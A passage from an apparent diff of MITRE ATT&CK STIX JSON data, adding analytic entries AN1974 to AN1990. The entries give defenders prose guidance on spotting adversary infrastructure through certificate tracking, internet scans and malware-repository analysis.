"x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e4b35edc-f7fe-4f0d-aaaf-60fabc9d2698", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0842#AN1974", + "external_id": "AN1974" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1974", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on behaviors relating to the potential use of generative artificial intelligence (i.e. [Phishing](https://attack.mitre.org/techniques/T1566), [Phishing for Information](https://attack.mitre.org/techniques/T1598)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e9808ca9-3019-4395-b2d8-717f5d4863fe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0843#AN1975", + "external_id": "AN1975" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1975", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--06c3cd77-148a-424e-a55e-1e11ff3d9504", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0844#AN1976", + "external_id": "AN1976" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1976", + "description": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) , [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) , and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004) .", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--de93de79-3f24-4022-9b03-7228ffacca6f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0845#AN1977", + "external_id": "AN1977" + }, + { + "source_name": "FireEyeSupplyChain", + "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", + "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1977", + "description": "Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.\nConsider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific MaaS offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", + "name": "Malware Repository", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3", + "name": "Malware Repository", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--97ec7ade-18b7-43b7-b267-85470862b6ac", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0846#AN1978", + "external_id": "AN1978" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1978", + "description": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during exfiltration (ex: [Transfer Data to Cloud Account](https://attack.mitre.org/techniques/T1537)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4ba44323-b5b0-46c9-be94-f2c5d0fdbec5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0847#AN1979", + "external_id": "AN1979" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1979", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--babb8a91-12af-4f2d-be59-2df099acc06c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0848#AN1980", + "external_id": "AN1980" + }, + { + "source_name": "Recorded Future Beacon Certificates", + "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/cobalt-strike-servers" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1980", + "description": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates)\nMonitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal SSL/TLS certificates that can be used during targeting. Detection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001), [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002), and/or [Install Root Certificate](https://attack.mitre.org/techniques/T1553/004).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6", + "name": "Certificate", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--65390827-81d9-43d0-9c9d-16d8c6509b90", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0849#AN1981", + "external_id": "AN1981" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1981", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5697a257-0888-4fd5-84fd-756f6fa67690", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0850#AN1982", + "external_id": "AN1982" + }, + { + "source_name": "Recorded Future Beacon Certificates", + "description": "Insikt Group. (2019, June 18). A Multi-Method Approach to Identifying Rogue Cobalt Strike Servers. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/cobalt-strike-servers" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + }, + { + "source_name": "FireEyeSupplyChain", + "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.", + "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop" + }, + { + "source_name": "Analyzing CS Dec 2020", + "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.", + "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1982", + "description": "Consider use of services that may aid in the tracking of newly issued certificates and/or certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Some server-side components of adversary tools may have default values set for SSL/TLS certificates.(Citation: Recorded Future Beacon Certificates) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\nMonitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\nMonitor for logged network traffic in response to a scan showing both protocol header and body values that may buy and/or steal capabilities that can be used during targeting. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\nConsider analyzing malware for features that may be associated with malware providers, such as compiler used, debugging artifacts, code similarities, or even group identifiers associated with specific Malware-as-a-Service (MaaS) offerings. Malware repositories can also be used to identify additional samples associated with the developers and the adversary utilizing their services. Identifying overlaps in malware use by different adversaries may indicate malware was obtained by the adversary rather than developed by them. In some cases, identifying overlapping characteristics in malware used by different adversaries may point to a shared quartermaster.(Citation: FireEyeSupplyChain) Malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1dad5aa4-4bb5-45e4-9e42-55d40003cfa6", + "name": "Certificate", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", + "name": "Malware Repository", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3", + "name": "Malware Repository", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9301fed2-1abe-4250-85b0-7794431e9034", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0851#AN1983", + "external_id": "AN1983" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1983", + "description": "Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).\nConsider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "Network Traffic", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--8fb2f315-1aca-4cef-ae0d-8105e1f95985", + "name": "Persona", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6f7fa682-fd50-4de4-add3-cbaa3c127b70", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0852#AN1984", + "external_id": "AN1984" + }, + { + "source_name": "Analyzing CS Dec 2020", + "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.", + "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1984", + "description": "Monitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. In some cases, malware repositories can also be used to identify features of tool use associated with an adversary, such as watermarks in [Cobalt Strike](https://attack.mitre.org/software/S0154) payloads.(Citation: Analyzing CS Dec 2020)\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on post-compromise phases of the adversary lifecycle.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", + "name": "Malware Repository", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--97b0c549-88d2-4739-a081-a9113e25cf1a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0853#AN1985", + "external_id": "AN1985" + }, + { + "source_name": "Splunk Kovar Certificates 2017", + "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.", + "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1985", + "description": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\nMonitor for contextual data about a malicious payload, such as compilation times, file hashes, as well as watermarks or other identifiable configuration information. Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.\nConsider use of services that may aid in the tracking of capabilities, such as certificates, in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017) Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--167b48f7-76e9-4fcb-9e8d-7121f7bf56c3", + "name": "Malware Repository", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--93a6e38c-02a5-44d8-9035-b2e08459f31f", + "name": "Malware Repository", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--4dbe3d83-4e01-455f-94f2-a1a31b410b47", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0854#AN1986", + "external_id": "AN1986" + }, + { + "source_name": "Koczwara Beacon Hunting Sep 2021", + "description": "Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.", + "url": "https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2" + }, + { + "source_name": "Mandiant SCANdalous Jul 2020", + "description": "Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved November 17, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/scandalous-external-detection-using-network-scan-data-and-automation/" + }, + { + "source_name": "ThreatConnect Infrastructure Dec 2020", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1986", + "description": "Once adversaries have provisioned software on a compromised VPS (ex: for use as a command and control server), internet scans may reveal VPSs that adversaries have compromised. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--0dcbbf4f-929c-489a-b66b-9b820d3f7f0e", + "name": "Internet Scan", + "channel": "None" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--1067aa74-5796-4d9b-b4f1-a4c9eb6fd9da", + "name": "Internet Scan", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--058452ee-f484-4e2f-b2ad-d562e34847fb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0855#AN1987", + "external_id": "AN1987" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1987", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c752faa1-9cc2-421a-b646-0efe4da990c9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0856#AN1988", + "external_id": "AN1988" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1988", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8a75f571-49f8-4df8-b02c-fad2189273ee", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0857#AN1989", + "external_id": "AN1989" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1989", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--db6010df-737d-4fa1-89af-dce6c4c3c305", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0858#AN1990", + "external_id": "AN1990" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1990", + "description": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the 